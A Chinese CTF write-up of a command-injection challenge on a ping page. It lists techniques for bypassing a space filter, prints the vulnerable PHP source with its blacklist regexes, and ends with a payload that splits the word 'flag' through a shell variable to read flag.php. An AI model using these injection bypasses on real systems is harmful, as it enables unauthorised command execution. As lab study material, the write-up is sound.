1、来看看靶场
发现就只有这个提示,尝试一下在url输入框进行测试
页面返回ping的结果,然后我之前也做过另外一道类似的题
链接:[ACTF2020 新生赛]Exec1命令注入_[actf2020 新生赛]exec 1_旺仔Sec的博客-CSDN博客
尝试用管道符
果然是可以的,再尝试一下访问flag.php
space应该是空格被过滤了,那我们来进行绕过空格
常用的空格过滤:
- ${IFS}替换
- $IFS$1替换
- ${IFS替换
- %20替换
- <和<>重定向符替换
- %09替换
${IFS}
$IFS$1
<
<>
{cat,flag.php} //用逗号实现空格功能
%09 //需要php环境
但是好像还是没啥用
那我们访问之前第二个文件,index.php文件试试
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这里大概是使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令,这里的ping -c 4是发送4条请求
那么我们可以利用变量来进行覆盖绕过flag过滤
构造一下payload
/?ip=1;a=g;cat$IFS$1fla$a.php;
FLAG:“flag{a6e9d752-79bf-43e0-ab8f-f789fba639ae}”